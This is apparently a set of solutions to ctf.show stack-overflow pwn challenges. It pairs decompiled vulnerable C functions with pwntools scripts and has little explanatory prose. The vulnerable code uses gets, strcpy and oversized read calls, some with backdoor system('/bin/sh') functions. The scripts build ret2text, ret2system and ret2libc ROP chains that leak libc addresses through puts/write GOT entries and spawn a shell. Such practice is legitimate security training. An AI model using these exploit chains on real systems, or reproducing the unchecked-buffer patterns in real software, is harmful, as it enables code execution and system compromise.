1
int __cdecl main(int argc, const char **argv, const char **envp)
2
{
3
  FILE *stream; // [esp+0h] [ebp-1Ch]
4

5
  stream = fopen("/ctfshow_flag", "r");
6
  if ( !stream )
7
  {
8
    puts("/ctfshow_flag: No such file or directory.");
9
    exit(0);
10
  }
11
  fgets(flag, 64, stream);
12
  signal(11, (__sighandler_t)sigsegv_handler);
13
  puts(asc_8048910);
14
  puts(asc_8048984);
15
  puts(asc_8048A00);
16
  puts(asc_8048A8C);
17
  puts(asc_8048B1C);
18
  puts(asc_8048BA0);
19
  puts(asc_8048C34);
20
  puts("    * *************************************                           ");
21
  puts(aClassifyCtfsho);
22
  puts("    * Type  : Stack_Overflow                                          ");
23
  puts("    * Site  : https://ctf.show/                                       ");
24
  puts("    * Hint  : See what the program does!                              ");
25
  puts("    * *************************************                           ");
26
  puts("Where is flag?\n");
27
  if ( argc <= 1 )
28
  {
29
    puts("Try again!");
30
  }
31
  else
32
  {
33
    ctfshow((char *)argv[1]);
34
    printf("QaQ!FLAG IS NOT HERE! Here is your input : %s", argv[1]);
35
  }
36
  return 0;
37
}
38

39
void __noreturn sigsegv_handler()
40
{
41
  fprintf(stderr, "%s\n", flag);
42
  fflush(stderr);
43
  exit(1);
44
}
45

46
char *__cdecl ctfshow(char *src)
47
{
48
  char dest[104]; // [esp+Ch] [ebp-6Ch] BYREF
49

50
  return strcpy(dest, src);
51
}

1
int __cdecl main(int argc, const char **argv, const char **envp)
2
{
3
  setvbuf(stdout, 0, 2, 0);
4
  puts(asc_804883C);
5
  puts(asc_80488B0);
6
  puts(asc_804892C);
7
  puts(asc_80489B8);
8
  puts(asc_8048A48);
9
  puts(asc_8048ACC);
10
  puts(asc_8048B60);
11
  puts("    * *************************************                           ");
12
  puts(aClassifyCtfsho);
13
  puts("    * Type  : Stack_Overflow                                          ");
14
  puts("    * Site  : https://ctf.show/                                       ");
15
  puts("    * Hint  : There are backdoor functions here!                      ");
16
  puts("    * *************************************                           ");
17
  puts("Find and use it!");
18
  puts("Enter what you want: ");
19
  ctfshow(&argc);
20
  return 0;
21
}
22

23

24
char *ctfshow()
25
{
26
  char s[36]; // [esp+0h] [ebp-28h] BYREF
27

28
  return gets(s);
29
}
30

31

32

33
int get_flag()
34
{
35
  char s[64]; // [esp+Ch] [ebp-4Ch] BYREF
36
  FILE *stream; // [esp+4Ch] [ebp-Ch]
37

38
  stream = fopen("/ctfshow_flag", "r");
39
  if ( !stream )
40
  {
41
    puts("/ctfshow_flag: No such file or directory.");
42
    exit(0);
43
  }
44
  fgets(s, 64, stream);
45
  return printf(s);
46
}

1
#!/usr/bin/env python3
2

3
from pwn import *
4

5
context(os="linux", arch="amd64", log_level="debug", terminal=["tmux", "splitw", "-h"])
6

7
sh = process('./pwn')
8
# sh = remote("ip", port)
9
elf = ELF('./pwn')
10

11
get_flag = 0x08048586
12

13
offset = 0x28 + 0x04
14
payload = b'A' * offset + p32(get_flag)
15

16
sh.sendlineafter(b'Enter what you want: ', payload)
17

18
sh.interactive()

1
int __cdecl main(int argc, const char **argv, const char **envp)
2
{
3
  init(&argc);
4
  logo();
5
  puts("Just very easy ret2text&&32bit");
6
  ctfshow();
7
  puts("\nExit");
8
  return 0;
9
}
10

11
ssize_t ctfshow()
12
{
13
  _BYTE buf[14]; // [esp+6h] [ebp-12h] BYREF
14

15
  return read(0, buf, 0x32u);
16
}
17

18
int backdoor()
19
{
20
  system("/bin/sh");
21
  return 0;
22
}

1
#!/usr/bin/env python3
2

3
from pwn import *
4

5
context(os="linux", arch="amd64", log_level="debug", terminal=["tmux", "splitw", "-h"])
6

7
sh = process('./pwn')
8
# sh = remote("ip", port)
9
elf = ELF('./pwn')
10
# get_flag = 0x08048586
11
back_door = elf.symbols['backdoor']
12

13
offset = 0x12 + 0x04
14
payload = b'A' * offset + p32(back_door)
15

16
sh.sendlineafter(b'Just very easy ret2text&&32bit', payload)
17

18
sh.interactive()

1
int __fastcall main(int argc, const char **argv, const char **envp)
2
{
3
  setvbuf(stdout, 0, 2, 0);
4
  setvbuf(stdin, 0, 2, 0);
5
  puts(s);
6
  puts(asc_400890);
7
  puts(asc_400910);
8
  puts(asc_4009A0);
9
  puts(asc_400A30);
10
  puts(asc_400AB8);
11
  puts(asc_400B50);
12
  puts("    * *************************************                           ");
13
  puts(aClassifyCtfsho);
14
  puts("    * Type  : Stack_Overflow                                          ");
15
  puts("    * Site  : https://ctf.show/                                       ");
16
  puts("    * Hint  : It has system and '/bin/sh'.There is a backdoor function");
17
  puts("    * *************************************                           ");
18
  puts("Just easy ret2text&&64bit");
19
  ctfshow();
20
  puts("\nExit");
21
  return 0;
22
}
23

24
ssize_t ctfshow()
25
{
26
  _BYTE buf[10]; // [rsp+6h] [rbp-Ah] BYREF
27

28
  return read(0, buf, 0x32u);
29
}
30

31
__int64 backdoor()
32
{
33
  system("/bin/sh\n");
34
  return 0;
35
}

1
#!/usr/bin/env python3
2

3
from pwn import *
4

5
context(os="linux", arch="amd64", log_level="debug", terminal=["tmux", "splitw", "-h"])
6

7
sh = process("./pwn")
8
# sh = remote("ip", port)
9

10
elf = ELF("./pwn")
11
# get_flag = 0x08048586
12
back_door = elf.symbols["backdoor"]
13
ret_addr = 0x400287
14

15
offset = 0x0A + 0x08
16
payload = b"A" * offset + p64(ret_addr) +  p64(back_door)
17

18
sh.sendlineafter(b"Just easy ret2text&&64bit", payload)
19

20
sh.interactive()

1
int __cdecl main(int argc, const char **argv, const char **envp)
2
{
3
  setvbuf(stdout, nullptr, 2, 0);
4
  setvbuf(stdin, nullptr, 2, 0);
5
  puts(asc_804876C);
6
  puts(asc_80487E0);
7
  puts(asc_804885C);
8
  puts(asc_80488E8);
9
  puts(asc_8048978);
10
  puts(asc_80489FC);
11
  puts(asc_8048A90);
12
  puts("    * *************************************                           ");
13
  puts(aClassifyCtfsho);
14
  puts("    * Type  : Stack_Overflow                                          ");
15
  puts("    * Site  : https://ctf.show/                                       ");
16
  puts("    * Hint  : It has system and '/bin/sh',but they don't work together");
17
  puts("    * *************************************                           ");
18
  puts("Just easy ret2text&&32bit");
19
  ctfshow(&argc);
20
  puts("\nExit");
21
  return 0;
22
}
23

24
ssize_t __cdecl ctfshow()
25
{
26
  _BYTE buf[14]; // [esp+6h] [ebp-12h] BYREF
27

28
  return read(0, buf, 0x32u);
29
}
30

31
int hint()
32
{
33
  puts("/bin/sh");
34
  return system("echo 'You find me?'");
35
}

1
#!/usr/bin/env python3
2

3
from pwn import *
4

5
context(os="linux", arch="amd64", log_level="debug", terminal=["tmux", "splitw", "-h"])
6

7
sh = process('./pwn')
8
# sh = remote("ip", port)
9
elf = ELF('./pwn')
10

11
ret_addr = 0x08048356
12
bin_sh = 0x08048750
13
system_plt = elf.plt["system"]
14

15
offset = 0x12 + 0x04
16
payload = b'A' * offset + p32(system_plt) + p32(ret_addr)+ p32(bin_sh)
17

18
sh.sendlineafter(b'Just easy ret2text&&32bit', payload)
19

20
sh.interactive()

1
#!/usr/bin/env python3
2

3
from pwn import *
4

5
context(os="linux", arch="amd64", log_level="debug", terminal=["tmux", "splitw", "-h"])
6

7
sh = process('./pwn')
8
# sh = remote("ip", port)
9
elf = ELF('./pwn')
10

11
pop_rdi = 0x04007e3
12
bin_sh = 0x400808
13
system_plt = elf.plt["system"]
14
ret_addr = 0x04004fe
15
offset = 0x0A + 0x08
16
payload = b'A' * offset + p64(pop_rdi) + p64(bin_sh) + p64(ret_addr) + p64(system_plt)
17
# gdb.attach(sh)
18
sh.sendlineafter(b'Just easy ret2text&&64bit', payload)
19
sh.interactive()

1
int __cdecl main(int argc, const char **argv, const char **envp)
2
{
3
  setvbuf(stdout, nullptr, 2, 0);
4
  setvbuf(stdin, nullptr, 2, 0);
5
  logo(&argc);
6
  ctfshow();
7
  puts("\nExit");
8
  return 0;
9
}
10

11
ssize_t ctfshow()
12
{
13
  _BYTE buf[14]; // [esp+6h] [ebp-12h] BYREF
14

15
  return read(0, buf, 0x32u);
16
}
17

18
int hint()
19
{
20
  system("echo flag");
21
  return 0;
22
}
23

24
int useful()
25
{
26
  return printf("sh");
27
}

1
#!/usr/bin/env python3
2

3
from pwn import *
4

5
context(os="linux", arch="amd64", log_level="debug", terminal=["tmux", "splitw", "-h"])
6

7
sh = process('./pwn')
8
# sh = remote("ip", port)
9
elf = ELF('./pwn')
10

11
ret_addr = 0x08048376
12
sh_addr = 0x080487ba
13
system_plt = elf.plt["system"]
14

15
offset = 0x12 + 0x04
16
payload = b'A' * offset + p32(system_plt) + p32(ret_addr)+ p32(sh_addr)
17
# gdb.attach(sh)
18
sh.sendline(payload)
19
sh.send('\x00')
20
sh.interactive()

1
int __fastcall main(int argc, const char **argv, const char **envp)
2
{
3
  setvbuf(stdout, nullptr, 2, 0);
4
  setvbuf(stdin, nullptr, 2, 0);
5
  logo();
6
  ctfshow();
7
  puts("\nExit");
8
  return 0;
9
}
10

11
ssize_t ctfshow()
12
{
13
  _BYTE buf[10]; // [rsp+6h] [rbp-Ah] BYREF
14

15
  return read(0, buf, 0x32u);
16
}
17

18
__int64 hint()
19
{
20
  system("echo flag");
21
  return 0;
22
}
23

24
int useful()
25
{
26
  return printf("sh");
27
}

1
#!/usr/bin/env python3
2

3
from pwn import *
4

5
context(os="linux", arch="amd64", log_level="debug", terminal=["tmux", "splitw", "-h"])
6

7
sh = process('./pwn')
8
# sh = remote("ip", port)
9
elf = ELF('./pwn')
10

11
ret_addr =  0x000000000040053e
12
sh_addr = 0x0000000000400872
13
pop_rdi_ret = 0x0000000000400843
14
system_plt = elf.plt["system"]
15

16
offset = 0x0A + 0x08
17
payload = b'A' * offset + p64(pop_rdi_ret) + p64(sh_addr) + p64(ret_addr)+ p64(system_plt)
18
# gdb.attach(sh)
19
sh.sendline(payload)
20
sh.send('\x00')
21
sh.interactive()

1
int __cdecl main(int argc, const char **argv, const char **envp)
2
{
3
  init();
4
  logo();
5
  ctfshow();
6
  return 0;
7
}
8

9
char *ctfshow()
10
{
11
  char s[104]; // [esp+Ch] [ebp-6Ch] BYREF
12

13
  return gets(s);
14
}
15

16
int hint()
17
{
18
  time_t seed; // eax
19
  int result; // eax
20
  int v2; // [esp+8h] [ebp-10h] BYREF
21
  int v3; // [esp+Ch] [ebp-Ch]
22

23
  seed = time(nullptr);
24
  srand(seed);
25
  v3 = rand();
26
  __isoc99_scanf("%d", &v2);
27
  result = v2;
28
  if ( v3 == v2 )
29
    return system("where is shell?");
30
  return result;
31
}

1
#!/usr/bin/env python3
2

3
from pwn import *
4

5
context(os="linux", arch="i386", log_level="debug", terminal=["tmux", "splitw", "-h"])
6

7
sh = process('./pwn')
8
# sh = remote("ip", port)
9
elf = ELF('./pwn')
10

11
ret_addr = 0x080483f2
12
buf =  0x0804B060
13
system_plt = elf.plt["system"]
14
gets_plt = elf.plt["gets"]
15

16
offset = 0x6C + 0x04
17
payload = b'A' * offset + p32(gets_plt)  + p32(system_plt)+ p32(buf) + p32(buf)
18
# gdb.attach(sh)
19
sh.sendline(payload)
20
sh.send('/bin/sh\x00')
21
sh.interactive()

1
int __fastcall main(int argc, const char **argv, const char **envp)
2
{
3
  init(argc, argv, envp);
4
  logo();
5
  puts("get system parameter!");
6
  ctfshow();
7
  return 0;
8
}
9

10
__int64 ctfshow()
11
{
12
  _BYTE v1[10]; // [rsp+6h] [rbp-Ah] BYREF
13

14
  return gets(v1);
15
}
16

17
int hint()
18
{
19
  return system("no shell for you");
20
}

1
#!/usr/bin/env python3
2

3
from pwn import *
4

5
context(os="linux", arch="amd64", log_level="debug", terminal=["tmux", "splitw", "-h"])
6

7
sh = process('./pwn')
8
# sh = remote("ip", port)
9
elf = ELF('./pwn')
10

11
buf = 0x0602080
12
pop_rdi_ret = 0x04007f3
13
system_plt = elf.plt["system"]
14
gets_plt = elf.plt["gets"]
15

16
offset = 0x0A + 0x08
17

18
payload = b'A' * offset
19
payload += p64(pop_rdi_ret)
20
payload += p64(buf)
21
payload += p64(gets_plt)
22
payload += p64(pop_rdi_ret)
23
payload += p64(buf)
24
payload += p64(system_plt)
25

26

27
# gdb.attach(sh)
28
sh.sendline(payload)
29
sh.send('/bin/sh\x00')
30
sh.interactive()

1
int __cdecl main(int argc, const char **argv, const char **envp)
2
{
3
  init(&argc);
4
  logo();
5
  puts("O.o?");
6
  ctfshow();
7
  write(0, "Hello CTFshow!\n", 0xEu);
8
  return 0;
9
}
10

11
ssize_t ctfshow()
12
{
13
  _BYTE buf[103]; // [esp+Dh] [ebp-6Bh] BYREF
14

15
  return read(0, buf, 0xC8u);
16
}

1
#!/usr/bin/env python3
2

3
from pwn import *
4

5
context(os="linux", arch="i386", log_level="debug", terminal=["tmux", "splitw", "-h"])
6

7
sh = process('./pwn')
8
# sh = remote("ip", port)
9
elf = ELF('./pwn')
10
libc = ELF("/lib32/libc.so.6")
11

12
main_addr = elf.sym["main"]
13
puts_got = elf.got["puts"]
14
puts_plt = elf.plt["puts"]
15
star_addr = elf.symbols['_start']
16
write_plt = elf.plt["write"]
17
ret_addr = 0x08048356
18
# puts(puts_got)
19
offset = 0x6B + 0x04
20
payload = b'A' * offset
21
payload += p32(puts_plt)
22
payload += p32(star_addr)
23
payload += p32(puts_got)
24

25
# write(1, puts_got, 4)
26
p2 = b'A' * offset
27
p2 += p32(write_plt)
28
p2 += p32(star_addr)
29
p2 += p32(1)
30
p2 += p32(puts_got)
31
p2 += p32(4)
32

33
# gdb.attach(sh)
34
sh.sendline(payload)
35
puts_real_addr = u32(sh.recvuntil(b'\xf7')[-4:])
36
print(hex(puts_real_addr))
37

38
libc_base = puts_real_addr - libc.sym["puts"]
39
system_addr = libc_base + libc.sym["system"]
40
bin_sh = libc.search(b'/bin/sh\x00').__next__() + libc_base
41
p = b"A" * offset
42
p += p32(system_addr)
43
p += p32(ret_addr)
44
p += p32(bin_sh)
45

46
sh.sendline(p)
47

48
sh.interactive()

1
int __fastcall main(int argc, const char **argv, const char **envp)
2
{
3
  init(argc, argv, envp);
4
  logo();
5
  puts("O.o?");
6
  ctfshow();
7
  write(0, "Hello CTFshow!\n", 0xEu);
8
  return 0;
9
}
10

11
ssize_t ctfshow()
12
{
13
  _BYTE buf[112]; // [rsp+0h] [rbp-70h] BYREF
14

15
  return read(0, buf, 0xC8u);
16
}

1
#!/usr/bin/env python3
2

3
from pwn import *
4

5
context(os="linux", arch="amd64", log_level="debug", terminal=["tmux", "splitw", "-h"])
6

7
sh = process('./pwn')
8
# sh = remote("ip", port)
9
elf = ELF('./pwn')
10
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
11
rop = ROP(elf)
12

13
main_addr = elf.sym["main"]
14
puts_got = elf.got["puts"]
15
puts_plt = elf.plt["puts"]
16
star_addr = elf.symbols['_start']
17
write_plt = elf.plt["write"]
18
pop_rdi_ret = rop.find_gadget(['pop rdi', 'ret'])[0]
19
pop_rsi_r15 = rop.find_gadget(['pop rsi', 'pop r15', 'ret'])[0]
20
ret_addr = rop.find_gadget(['ret'])[0]
21

22
log.success(f"pop_rdi_ret: {hex(pop_rdi_ret)}")
23
log.success(f"pop_rsi_r15: {hex(pop_rsi_r15)}")
24
log.success(f"ret_addr: {hex(ret_addr)}")
25

26
log.info("================================== stage 1 : leaking Libc =====================================================")
27
# puts(puts_got)
28
offset = 0x70 + 0x08
29
p1 = b'A' * offset
30
p1 += p64(pop_rdi_ret)
31
p1 += p64(puts_got)
32
p1 += p64(puts_plt)
33
p1 += p64(main_addr)
34

35
# write(1, puts_got, 4)
36
p2 = b'A' * offset
37
p2 += p64(pop_rdi_ret)
38
p2 += p64(1)
39
p2 += p64(pop_rsi_r15)
40
p2 += p64(puts_got)
41
p2 += p64(0)
42
p2 += p64(write_plt)
43
p2 += p64(main_addr)
44

45
# gdb.attach(sh)
46
sh.sendline(p1)
47
puts_real_addr = u64(sh.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
48
log.success(f"puts_real_addr: {hex(puts_real_addr)}")
49

50
log.info("================================= stage 2 : Getting shell ========================================================")
51

52
libc_base = puts_real_addr - libc.sym["puts"]
53
system_addr = libc_base + libc.sym["system"]
54
bin_sh = libc.search(b'/bin/sh\x00').__next__() + libc_base
55

56
p = b"A" * offset
57
p += p64(pop_rdi_ret)
58
p += p64(bin_sh)
59
p += p64(ret_addr)
60
p += p64(system_addr)
61

62
sh.sendline(p)
63

64
sh.interactive()

1
int __cdecl main(int argc, const char **argv, const char **envp)
2
{
3
  setvbuf(stdout, nullptr, 2, 0);
4
  logo(&argc);
5
  puts("Give you some useful addr:\n");
6
  printf("puts: %p\n", &puts);
7
  printf("fflush %p\n", &fflush);
8
  printf("read: %p\n", &read);
9
  printf("write: %p\n", &write);
10
  printf("gift: %p\n", useful);                 // "/bin/sh"
11
  putchar(10);
12
  ctfshow();
13
  return 0;
14
}
15

16

17
int ctfshow()
18
{
19
  char s[152]; // [esp+Ch] [ebp-9Ch] BYREF
20

21
  puts("Start your show time: ");
22
  gets(s);
23
  return puts(s);
24
}

1
#!/usr/bin/env python3
2

3
from pwn import *
4
from LibcSearcher import *
5

6
context(os="linux", arch="i386", log_level="debug", terminal=["tmux", "splitw", "-h"])
7

8
sh = process('./pwn')
9
# sh = remote("ip", port)
10
elf = ELF('./pwn')
11
libc = ELF("/lib32/libc.so.6")
12
rop = ROP(elf)
13

14
main_addr = elf.sym['main']
15
ret_addr = rop.find_gadget(['ret'])[0]
16

17
log.info("===============================Give you some useful addr: =========================================")
18
sh.recvuntil(b"puts: ")
19
puts_addr = int(sh.recvline().strip(), 16)
20
sh.recvuntil(b'fflush ')
21
fflush_addr = int(sh.recvline().strip(), 16)
22
sh.recvuntil(b'read: ')
23
read_addr = int(sh.recvline().strip(), 16)
24
sh.recvuntil(b"write: ")
25
write_addr = int(sh.recvline().strip(), 16)
26
sh.recvuntil(b"gift: ")
27
gitf_addr = int(sh.recvline().strip(), 16)
28

29
log.success(f"ret: {hex(ret_addr)}, puts_addr: {hex(puts_addr)}, write_addr: {hex(write_addr)}, fflush_addr: {hex(fflush_addr)}, read_addr: {hex(read_addr)}, gitf_addr: {hex(gitf_addr)}")
30

31
log.info("==============================================libc======================================================")
32

33
libc = LibcSearcher('puts', puts_addr)
34
libc.add_condition('read', read_addr)
35

36
libc_base = puts_addr - libc.dump('puts')
37
system_addr = libc_base + libc.dump('system')
38
bin_sh = gitf_addr
39

40
offset = 0x9C + 0x04
41

42
p1 = b"A" * offset
43
p1 += p32(system_addr)
44
p1 += p32(ret_addr)
45
p1 += p32(bin_sh)
46

47
sh.sendline(p1)
48

49
sh.interactive()

1
int __cdecl main(int argc, const char **argv, const char **envp)
2
{
3
  init(&argc);
4
  logo();
5
  puts("O.o?");
6
  ctfshow();
7
  return 0;
8
}
9
ssize_t ctfshow()
10
{
11
  _BYTE buf[103]; // [esp+Dh] [ebp-6Bh] BYREF
12

13
  return read(0, buf, 0xC8u);
14
}

1
#!/usr/bin/env python3
2

3
from pwn import *
4
from LibcSearcher import *
5

6
context(os="linux", arch="i386", log_level="debug", terminal=["tmux", "splitw", "-h"])
7

8
sh = process('./pwn')
9
# sh = remote("ip", port)
10
elf = ELF('./pwn')
11
libc = ELF("/lib32/libc.so.6")
12
rop = ROP(elf)
13

14
main_addr = elf.sym['main']
15
ret_addr = rop.find_gadget(['ret'])[0]
16
puts_plt = elf.plt['puts']
17
puts_got = elf.got['puts']
18
read_got = elf.got['read']
19

20
offset = 0x6B + 0x04
21

22
p1 = b"A" * offset
23
p1 += p32(puts_plt)
24
p1 += p32(main_addr)
25
p1 += p32(puts_got)
26

27
sh.sendline(p1)
28

29
puts_real_addr = u32(sh.recvuntil(b"\xf7")[-4:])
30
p3 = b"A" * offset
31
p3 += p32(puts_plt)
32
p3 += p32(main_addr)
33
p3 += p32(read_got)
34

35
sh.sendline(p3)
36
read_real_addr = u32(sh.recvuntil(b"\xf7")[-4:])
37
log.success(f"puts_real_addr: {hex(puts_real_addr)}, read_real_addr: {hex(read_real_addr)}")
38

39
# use LibcSearcher
40
# libc = LibcSearcher('puts', puts_real_addr)
41
# libc.add_condition('read', read_real_addr)
42

43
# libc_base = puts_real_addr - libc.dump('puts')
44
# system = libc_base + libc.dump('system')
45
# bin_sh = libc.dump('str_bin_sh')
46

47
# use
48

49
libc_base = puts_real_addr - libc.sym['puts']
50
system = libc_base + libc.sym['system']
51
bin_sh = libc.search(b'/bin/sh\x00').__next__() + libc_base
52

53
p2 = b"A" * offset
54
p2 += p32(system)
55
p2 += p32(ret_addr)
56
p2 += p32(bin_sh)
57

58
sh.sendline(p2)
59

60
sh.interactive()